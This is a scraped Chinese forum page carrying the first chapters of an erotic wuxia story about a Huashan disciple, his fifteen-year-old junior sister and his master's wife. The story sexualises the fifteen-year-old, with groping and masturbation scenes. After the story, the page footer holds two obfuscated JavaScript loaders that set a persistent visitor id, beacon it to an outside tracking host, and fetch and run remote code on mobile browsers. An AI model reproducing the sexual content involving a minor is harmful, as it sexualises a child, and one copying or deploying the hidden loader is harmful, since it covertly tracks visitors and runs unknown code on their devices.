图片载入中

游剑江湖1-10

特大字】 【大字】 【中字】 【小字

一那天站在玉女峰上看风景,我忽然觉得有些伤感,继而又豪情万丈。所谓少年情怀总是诗,大概就是这样的吧。当时满头大汗地练完剑,倚着一株苍松小憩。抬头偶尔注意到眼前的景致,忽然心中一动。长空寥廓,浮云遮眼。夕阳下满山苍翠,几朵火红的山花在苍苍翠微中寂寞开放,微风过处,黯然摇曳,似在等待春去时候的飘零。年年岁岁花相似,岁岁年年人不同。我惆怅地想,风景依旧,我却再也不是十年前被师娘牵着小手领上华山的那个惶惑小孩子了。玉女峰日日剑气,小孩子变成了长身玉立的英俊少年!时光,真的是一个最奇妙的魔法师。他的手指轻轻一点,小孩子不见了,多了个华山少侠,弱不禁风的小小躯体已蓄满内力,似乎刚刚还在骑竹马的小手转眼紧握三尺长剑,手臂一振,钢剑发出阵阵清吟。……而我多梦的少年时代也随之结束了!唉,流光容易把人抛!峰岚中一只苍鹰划着有力的弧线飞去,矫健的身姿慢慢变成一个小黑点,消失在远方。斜阳外,风烟滚滚,芳草萋萋,暮色苍苍茫茫笼罩关山铁壁。那里是万里江湖!不远后的一天,我将要踏入江湖,青衫磊落长剑风流,四海漫游快意恩仇剑饮仇人血,酒到大杯干。体会黄尘古道的风沙,沧江孤舟的寂寥,英雄结义的慷慨,剑扫江湖的豪迈……江元的剑和他的名字将传遍大地的每一个角落。每个人提到他,眼睛里都会射出倾慕的光,互相骄傲地说在哪里哪里见过大侠江元,添油加醋地吹嘘他的种种事迹,他更将牵动无数芳心,夜夜走进江湖女儿怀春的好梦……那天练过剑对着空山夕照、春花流云、长天雄鹰的种种景致,我就这样浮想联翩,从感叹年华流逝人生如梦到陷入对日后荣耀的深深怀想,甚至开始认真考虑日后行走江湖叫个什么样的响亮字号,对接到的第一封情书如何处理之类的细节问题。……哪个少年人不是这样的呢?年轻和幻想就像对双胞胎,总是片刻不离!

***********************************

“小元子,你又在发呆啦?”一声娇笑将我狂乱的思绪拉回了玉女峰,可爱的小圆脸,淡黄色裙裾,笑靥如花,声音总带着黄鹂般的娇嫩清脆,除了我的小师妹赵灵慧还有谁?我是她的师兄,可是你听听她喊我什么?小元子!小妮子从来都不给我这个师兄应有的尊敬!虽说大家青梅竹马从小玩到大,哪天不开开玩笑都觉得不爽,可咱们华山毕竟是五岳剑派之一的名门大派,长幼之序还要不要了!师娘也曾批评过阿慧没大没小,可是她小嘴一撅说:“年纪也不比我大多少,说话行事乱七八糟,让我叫他师兄!门都没有!”师娘哈哈大笑,我在一旁则气得七窍生烟几欲吐血。后来趁没人时我威胁师娘说,你再不管管你这宝贝女儿,老让她小元子小元子的乱叫,我以后管你叫蓉姐!你猜我师娘林芷蓉怎么回答的?她神秘地小声说,没人的时候你尽管叫!你越叫我越开心,我觉得又回到了风华四射的少女时代!说着陶醉地闭上眼睛。真是有其女必有其母!小师妹阿慧大概是来喊我下山吃饭的。我转过身子张开双臂,笑道:“过来,师兄抱抱。”阿慧笑嘻嘻地走过来,听话地将柔软的身躯靠在我怀里。“来,香一个。”

当师兄的为老不尊,一把将她抱住,一边在她柔软的腰肢上重重地捏了一把。她依言凑过脸来亲了亲我的脸颊,温顺地将头垂在我的颈边,一时间温玉满怀吹气如兰,淡淡少女发香一丝丝钻入鼻孔。我诧异小师妹今天怎么这般温柔,正销魂际,她一歪头,在我的耳朵上重重咬了一口。“啊……”小妮子随着我夸张的惨叫挣脱我的双臂,退后几步得意地笑:“人家和你好,你却老想着占我的便宜。怪不得妈说你是个天生的小淫贼。今天给你点厉害看看,省得你日后贪淫好色为祸武林。”我老脸一红,怒目而视:“堂堂华山女弟子如此下流!竟然咬人!传出去真是一大奇闻!呸呸!风祖师爷的脸都被你丢光了!”也难怪我要发火,刚才她那一口咬得虽说不重,但耳朵也有点火辣辣地疼。疼还不算什么,老子一世英名,今天居然被人家咬了一口,焉能不气?阿慧笑弯了腰:“谁下流了!这叫不能力敌须得智取。华山派谢大小姐智惩淫贼,乃是江湖美谈一件!”我恶狠狠道:“不要被我抓到,否则你就倒霉了。”张开臂膀像头大鸟一般朝她扑去。她格格笑着纵上一棵松树,我如影随形跃上,她转眼却又到了下一根松枝。两人在枝桠间跳跃追逐,松针被我们蔌蔌踩落一地。可恨小妮子身法灵动飘逸,穿林绕树,像燕子一般轻盈无比。我跑了数十个来回竟然抓她不到,每每在千钧一发的时刻让她衣角一滑熘了,要说真正比剑,我二十招之内就能磕飞她的长剑,但轻功这个单项我自愧不如。“哈哈哈,没用的小元子,有本事来抓我啊。”我靠在一棵大树上累得直喘气,阿慧犹自在十尺外出言嘲笑。她站在一根树枝上,身形上下起伏,姿态美妙轻盈,像在对我炫耀。“小丫头,有种你下来!”我这话里已没了华山大弟子的志气。“小淫贼,有种你上来!”回答伴着银铃般的笑声,充满得意。“你躲得过初一,躲不过十五。下来让我打一拳我们就此扯平,否则老子阴魂不散,追到天涯海角也要一雪今日之辱。”“就打一拳吗?”我心中暗喜:“对,只打一拳!大师兄说到做到”“……好吧,算我对不住你,……你只准轻轻地打哦!……我下来了……哈哈哈哈,你想得美!下去被你用破玉功打一拳,我可没那么苯!”原来又是耍我,气得我一跃数尺使出一招“天外玉龙”,嗖地将一根松枝飞掷过去,阿慧轻轻巧巧地一跃避过,清脆的笑声在群山中久久回荡。“好!有本事你就一辈子呆在树上。”“我就一辈子呆在树上,这里空气清新,你奈我何?”……日头坠落时阿慧终于回到了地面,一改方才的嚣张,仰着脸甜甜地跟我道歉因为她是主动回来的,我也没好意思用破玉拳打她,只抓着她的耳朵揪了几下意思意思。然后前嫌尽释。她果然是喊我下山吃饭的。但我不愿走,宁愿无聊地看日落也不愿去吃华山派糟糕透顶的晚膳。阿慧一听就不愿走了,吵着也要陪我看日落。小女孩碰到浪漫一点的事你根本就无法阻拦。我们于是双双坐在玉女峰上的一块大石头上看红日西沉。开始我们只是老规矩,身体互相依偎,后来我因为练了一个下午的剑又追了半天阿慧,感觉腰酸腿疼,躺下来将头枕在阿慧的腿上。她忘了自己刚才还在一口一个小淫贼,没有任何抗拒,还用小手抓着我的肩头轻轻捏弄,帮我放松。有时候这个小妮子真是满温柔的。我们谈谈笑笑,听着耳旁不时传来阵阵松涛,看西天的霞彩慢慢转淡,暮色一点点吞噬四周景物的轮廓。从小到大,阿慧和我的感情都很好,小时侯的她,用师娘的话说就是,一天到晚猴在大师兄身上。如今一转眼十五岁了,造化的魔法师在她身上施展了更多的魔法,当年的黄毛丫头蜕变成亭亭玉立的小美人,精致的面容,身体玲珑浮凸,曲线呈露,像五月含苞的玉兰,带着青春的雨气晨露,明朗芬芳充满活力。但仍然喜欢像从前那样和我粘粘乎乎,没有丝毫的忌惮。对她天天和我厮缠,我的心情也很复杂。一方面我觉得自己是个有理想有志气的好男儿,他年得遂凌云志,敢笑郭靖不丈夫!如今却要被一个少女整天押着抓蝴蝶逮松鼠,净干些没出息的事,这叫人如何受得了。另一方面,被这样一个女孩子小鸟依人地痴缠,整日里感受着她的鬓影发香,喜笑薄嗔,说实话也很不错。我是一个血气方刚少年,辟邪剑谱是我最痛恨的一种武功!能偶尔摸摸小师妹的辫梢,拉拉她的小手,碰碰胸前的敏感部位,实为在下华山学艺一乐我枕在阿慧的腿上,感觉后脑勺处柔软而富有弹力,便夸她没白练这么多年的轻功,大腿饱满结实,天生一个好枕头。她笑着拧我的鼻子。大概是不吃饭看日落这种事情很对小姑娘胃口,她的表情开始和平时不太一样,笑容依然很甜,但多了几分羞涩,声音越来越轻柔。但我没感到别的,只感到累。阿慧的手指在我的脸上轻轻地划来划去。渐渐的,山谷的风涛似乎越来越遥远,暮色也越来越温柔,枕着的阿慧的腿也越来越软……我睡着了。梦中我飘飘荡荡来到一个所在,红烛高烧,罗帐半卷,一个熟悉的绝色丽人身披轻罗坐在灯影中,眼波流转,嘴角含笑,含情脉脉地看着我。她不是阿慧我看着这具熟悉的玉体,刹那间欲火焚身,扑上去就准备云雨………这时候觉得下体一阵淋漓,醒了。天已完全黑了,弯弯的月儿挂在林梢,而自己仍然枕在阿慧身上,她双手抱着我的头,低头凝视着我,明净的双眼在淡淡月色里射着羞涩的光茫,脸颊似乎有些发红。我觉得大腿根处一阵沁凉,暗暗叫苦。这情景要是被阿慧发现,我这华山派大师兄人格也就彻底破产了。幸好隔着灰布袍子,而她又一点没有要摸我大腿根部的意思。这时我又想到,难道阿慧从头到尾这样抱着我让我睡了一觉?看样子是这样的。太难为她了,大家只不过交情好一点而已,她完全可以叫醒我或是把我的头往石头上一放,自己走路。一时间心里竟有点歉疚。阿慧还在凝视着我,表情有点奇怪,就像看着自己一件心爱的物事,目光温柔而又充满爱惜,我还没搞懂这目光的含义,迷迷煳煳地看着她。四目相对,她的脸似乎越发红了,但目光没有一点退缩。我刚想说请你不要这样色迷迷地看着我。她俯下脸,柔软的嘴唇在我的额头上轻轻一吻。等她抬起头来,我迎上她惊慌的躲躲闪闪的目光,心里一下子明白了我刚才说小师妹阿慧是个永远长不大的孩子,完全是一相情愿。她已经长大了。她爱上我了。我静静地躺着,一句话不说,似笑非笑地看着阿慧。她紧张地笑了,耳根子都羞得通红,像个做了错事的孩子。我眨眨眼,然后眼睛一闭继续睡觉。其实我根本睡不着,一颗心扑通扑通在胸膛里乱跳。事情发生得太突然,我完全不知该怎么办才好。天地良心,我自幼流落江湖蒙师娘收养,和这个小师妹一同玩耍一同长大,虽然有时候有点不干不净不规不矩,但只是江湖小儿女之间一般的吃吃豆腐而已,实在是把她当成好伙伴好妹子,从来没想到会偷了她的心!阿慧大着胆子一吻,惊醒梦中人,让我诸般情绪在胸口激荡交织:激动,惊慌,害怕,幸福,甜蜜,还有好笑………我其实比阿慧还紧张,但我不能被她看出来,只好闭着眼睛装睡。阿慧也不敢开口说话,惟有喘息声变得越来越急促。她把我的头抱起来,大概想挪个位置。我的头在她的大腿上枕了一两个时辰了,那里肯定已经血脉凝结失去知觉,再枕下去大概她的腿就被废掉了。她似乎犹豫了一下,然后把我的头放在身体的另一个地方。我只觉得头部被阿慧的双臂紧紧地抱着,然后后脑就触及到一个更为柔软的地方,就像枕着两团波涛,微微一动,小小的波涛就改变形状,朝两边溢开我楞了一下,忽然明白过来那是少女的胸膛,刹那间口干舌燥血流加快,胯下棒子一下子就直了。阿慧如果知道我身体的变化,肯定会后悔这么做的。我知道她其实没有别的意思,只是小姑娘情难自已,忍不住想和心上人更紧密地接触罢了,没有多少情欲成分。她在华山派的清规戒律里长大,只读过紫霞秘籍,比我要纯洁得多,不像我既读紫霞秘籍,又偷偷下山在集市里重金买了一本黄帝素女真经,半年来一直在研究它。我把头一歪,脸隔着裙衫压扁阿慧的一个嫩乳,鼻子蹭着另一个。然后装做调整睡姿状,脑袋不安分地动弹,尽量地感受那两团柔软的波涛。砰砰砰,她的心跳像鼓点一样越来越急,阿慧一定明白了我的不良意图。但她没有躲避,反而挺起胸膛,双手环抱得更紧。我知道她鼓起最大的勇气才能这么做。这时她的脸色一定很好看,可惜我看不到。我克制住自己强烈的冲动,那就是坐起身来,把阿慧一把按倒在大石头上,掀开她的茜裙,用爪子直接揉弄她的小嫩乳。我说过了,我正值血气方刚年纪,又看了黄帝素女真经和若干本春宫图,每个夜里都充满了一些奇怪的难以名状的怀想,一经撩逗,热情便会像黄河泛滥一发不克收拾。但是我很是佩服自己,我居然克制住了,虽然搞得自己非常痛苦。我不再动了,静静地躺在阿慧怀里。她咚咚的心跳也开始变缓,渐渐地安静下来。林月如钩,树影横斜,清凉的晚风丝丝吹在我们身上,一阵阵沁人心脾四下里小虫不住吟唱,远处则传来几声长长短短的鸟啼。光,影,声,还有无处不在的春的气息构成这宁静华美的华山之夜。我的心中却是一片迷雾。阿慧爱上了我,我刚才春梦的对象却不是她,是我的师娘!***********************************

我是什么时候爱上师娘林芷蓉的?我自己也时常琢磨这个问题。也许是她手把手教我玉女十三式的时候,也许是她把一碗热热的蛋羹端到我的病榻边用小勺一口口喂我的时候,也许是她把的脏衣服细心地洗净、补好、熨平、叠得整整齐齐的时候。也许是那天夜里我去师娘卧室准备请教一个口诀,却在窗外发现她正在房内沐浴,无限春光看得趴在窗台上的我鼻血都差点喷出来时候,也许,干脆在十年前的大风雪之夜,她牵着我的小手上华山时,我小小的心里就已经爱上了这个美丽爽朗体贴的女人。……

予生也不幸,还在襁褓中便被自己的亲生父母装进一个竹篮抛在一对老夫妇的菜园子里,竹蓝里只有一把金色长命锁,锁上刻着两个篆字:江元。我那狠心的父母只给我留了一个名字,就将我孤零零地遗弃在茫茫人世中!那对好心的老人收留了我,可他们年事已高,我八岁那年终于双双撒手而去。那个寒冬,八岁的我费劲力气将我的养母和养父葬在一起后,怔怔地看着雪花一片片飘落在白杨树下的凄凉坟地上,眼前是一片白茫茫大地。眼泪流完了,两天没吃饭又冷又饿,风雪像刀子般割在脸上,心里似结满厚厚寒冰。想到自己从此孤苦伶仃孑然一身,再也无人给我关爱温暖,扶持我走好日后的漫长道路……就在这时,身后响起清脆的鸾铃声,接着,我听到了世界上最好听的一个声音。“小弟弟,你一个人站在雪地里干什么呀?”五岳剑派大举讨伐魔教,不料魔教早已得知讯息,张罗以候,五岳剑派大败,华山派掌门赵正清战死魔教黑月坛。噩耗传到华山,赵夫人玉女剑林芷蓉千里奔丧,三闯黑月坛,历经无数周折磨难,终于觅回丈夫尸骨。这是武林尽人皆知的一大美谈。人人赞叹玉女剑林女侠一片忠贞节义可比古之孟姜,感天动地。赵正清得妻如此,当可瞑目。但很少有人知道,林女侠返回华山路上带回一个孤儿这个孤儿当然是我。随师娘回华山后,师娘自己接任华山派掌门,正式收我为徒,但不准我喊她师父,只能喊师娘,以此纪念先夫。然后我就开始了十年华山学艺生涯。……思量往事,不胜唏嘘,而一缕情丝所系,越挣越紧,本已是人生难堪之时,不料现在又添新的烦恼,阿慧那小妮子居然爱上了我!这叫人如何是好?从玉女峰下来的那个晚上我辗转反侧夜不成寐。后来实在受不了,干脆起床看春宫,然后把师娘和小师妹统统当成幻想对象,搓得肉棒白浆喷涌而出,天明时才朦胧睡去。一觉醒来,红日满窗,已快近中午时分。我大叫不好,连忙一骨碌起身。只听门吱呀一声被人推开,阿慧走了进来。见我起床,她的脸色如春花乍放“哈哈哈,华山派大弟子懒觉终于睡醒了。没羞没羞”我脸上一红,心想老子天亮才睡,从昨晚到今天早晨连泄两次,这时才醒正常得不能再正常了。嘴里说道:“去去去,这两天练功劳累,多睡了一会。咦?

早课时你们怎么不喊醒我?“华山弟子每天清晨在师娘的督导下在华山试剑台练剑,谓之早课。“人家一大早就想来叫你,可妈说你这两天练功累了,吩咐我别叫,让你多睡一会。她可不知道……你昨天下午在玉女峰上已经……已经睡过一觉了……”

阿慧声音变小了,脸色泛红,便如玫瑰般娇艳,目光里充满柔情。撅起小嘴嘟哝,嘴角却依然露着甜甜的笑意“……人家一直在等你睡醒,可你就是睡得那么死……”唉,情窦初开的小女孩啊,爱一个人爱得这么辛苦!我不禁有些感动“阿慧,过来。”阿慧的脸更红了,“干什么?我不过去。”“过来嘛,师兄和你说会子话。”“站在这里也能说,什么话非要过去说?”阿慧倚着房门,满脸红晕,目光羞得不敢与我相接,就是不肯过来,昨晚的大胆忘情全然不见。她肯定知道我想干什么,青梅竹马一块长大,谁不知道谁啊?看到她又羞又喜的娇俏模样,我觉得好笑,但也心中一甜,昨晚的通宵烦恼丢到了爪哇国。“好,你不过来我就不起床。”“……”这么大的人耍赖,要是别人肯定受不了。可是我一贯如此,阿慧也习以为常了,瞪了我一眼后无计可施,认命般地走了过来。过来前还主动把门关上。看来果然心有准备。我坐在床上一把搂住她,向她唇上吻去。阿慧在我的怀里乖乖地毫不挣扎,嘤咛一声,唿吸开始变得粗重。见她如此柔顺,我一股欲火腾地冲上胸膛,大手隔着衣服按住阿慧的胸前蓓蕾,一阵狂捏,只觉触手绵软盈盈一握,便如小鸽般在手中一跳一跳。嘴唇贴住她湿热的双唇,舌头伸去,抵着的却是她的紧闭的牙关,毫无其他反应,看来是根本不会这一招。唉,要是师娘就好了,成熟美妇有的是实战经验!想到师娘,便如兜头一盆冷水浇下,刹那间欲火全消。江元,你在干什么呀!禽兽啊禽兽!心里痛骂自己。离开阿慧的双唇,看着怀里的人儿。她双目紧闭,长长的睫毛不住抖动,脸蛋娇艳得似要滴出水来。大口的气息带着少女的甜香喷在我脸上。心中发出一声悲鸣:“我想要的是母亲,不是女儿!”这时发觉手掌还放在人家小姑娘胸脯上,赶快拿开。但拿走之前还是忍不住又捏了一把,颇为恋恋不舍。阿慧发觉我举动有异,睁开大眼睛奇怪地看着我,我亲亲她的脸颊,说:“今天就到这儿,算是给你个教训,以后别乱亲人家男孩子。时间不早了,我得赶紧去见师娘。”***********************************

师娘他们在试剑台练剑,我和阿慧快步走去,几个师弟师妹们却正陆续回转“大师兄早。”“大师兄起床啦。”他们笑嘻嘻地同我打着招唿。四师弟曹小川还嬉皮笑脸地问阿慧,“小师妹,大师兄怎么醒的?是不是你使出紫霞神功,一掌把大师兄震醒的?”阿慧格格直笑,我飞起一脚,四师弟笑着跑开。我向三师妹陈筱屏问道:“师娘呢?”三师妹微笑道:“还在试剑台,不过也快回来了,大师兄快点去吧。”

我吐吐舌头,拔足飞奔,阿慧紧随身后。转过山壁,沿石阶而上,石阶通向的峰顶便是试剑台。我们爬到半山中一个两道山崖所夹的十尺见方的小平台,右转正待继续登攀,前路忽地传来一声娇叱:“看剑!”骤变立生!草木一阵乱响,恍如平地里卷过一片狂风。一道青影挟着一道白虹迅捷无伦凌空朝我扑来,凌厉剑光直指我的咽喉。我乍觉剑风入体,心知不好,还未看清来者是谁,也不及拔剑,大骇中伏地一滚,只觉一道寒气从发鬓穿过,仅差之毫厘,惊险万端。正待拔剑,耳后狂风又已追至,周遭数尺地面俱被剑气所罩。我右足一蹬,身子从地面飘向左边山崖,半空中拔出腰间长剑。刷的一声,寒光擦着胁下穿过。又是惊险万分。我抓住一根藤萝贴住石壁,未及喘息,那道青影又是一个凤点头,身子在山壁上一踩,连人带剑倒旋而至,剑光所指,仍是我的咽喉。我百忙之中使出一招“苍龙探海”挥剑格开,那人在空中手腕一抖,挽出几个剑花。我只觉手中一空,手中紧紧捏住的长藤已断成两截,身子急速下坠。那人却已先我一步落地,出剑如虹,指住我的咽喉,凝而不发。“妈,不要!”这一连串追击几乎在瞬间完成,阿慧到了此时方看清那人是谁。眼前那人青布裙钗,素妆玉面,一双大眼睛眼波流转,巧笑嫣然,嘴角微微露出一丝讥嘲,却也有一丝赞叹。正是我的师娘林芷蓉!我长长出了一口气,这才发现背心全是冷汗。师娘一声轻笑,却不将剑移开,仍牢牢指定我的咽喉。“华山派大弟子一觉睡到日出三竿,我道必有惊人艺业,却也不过如此!”我嘟哝着:“是您偷袭在先,弟子措不及防,这才着了你的道……不不不,弟子知错了,明日定当早起,闻鸡起舞,为师弟师妹们做个表率。”心道你奶奶个雄,是你不让阿慧喊我起床的?这时倒来怪我?但想到她是一派掌门,虽然纵容门下弟子贪睡,但装模做样却要教训一番,倒也不足为奇。师娘抿嘴一笑,收剑归鞘。“你能为师弟师妹们做个表率?太阳真打西边出来了。好,明儿我等你闻鸡起舞。”转头又瞪了阿慧一眼,道:“你也不像话,师兄不起床,你也跟着不去练剑。师兄关门睡大觉关你什么事?现在又急急忙忙往上赶。整天就像个野丫头似的!”我在一旁附和:“就是就是”。阿慧又羞又嗔,伸手狠狠地拧了我一把“臭小元子,讨厌!”我哎呦一声装做痛的一跳,逗得阿慧扑哧一笑。师娘笑吟吟地看着我们,摇摇头道:“大的太赖,小的太野,两个都不成话!真不知道该怎么管教你们。”阿慧冲师娘甜甜一笑道:“小元子不用您管教,以后我来管教就行了。小元子……”师娘斥道:“叫大师兄,别那么没规矩!”“是,大师兄刚才接您那几剑,反应奇快,招式就算难看点,但颇为简洁有效,我看整个华山派没旁人能做到,妈,您有这么个大弟子也不算丢人!”我一听之下大起同感,自吹自擂道:“小师妹功夫不行,眼光却是准的。刚才那几下子的确是我毕生武功之精华!”师娘哈哈大笑,道:“精华?你就省省吧。不过是有了点长进,差点接住了我连环三剑偷袭。”师娘止住笑,正色道:“泰山大会已为期不远,师娘还指望你给华山派挣口气呢。你以后须得勤加练习才是!”双眼凝视着我,目光里尽是期盼。我登时收起嬉皮笑脸,正容道:“是!弟子自当苦练,在泰山大会上为本派争光。”

五岳剑派四年一聚,由各山轮流做东。会上共同商议联盟大事,交流讯息,同时五派弟子比剑争胜,以奖掖后进选拔贤才。三个月后会期将届,本次轮到泰山举办,五岳弟子称之为“泰山大会”。[本帖最后由scofield1031于编辑]


上一篇:这才不是我想要的命运(872)

下一篇:丝袜美腿的完美世界


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};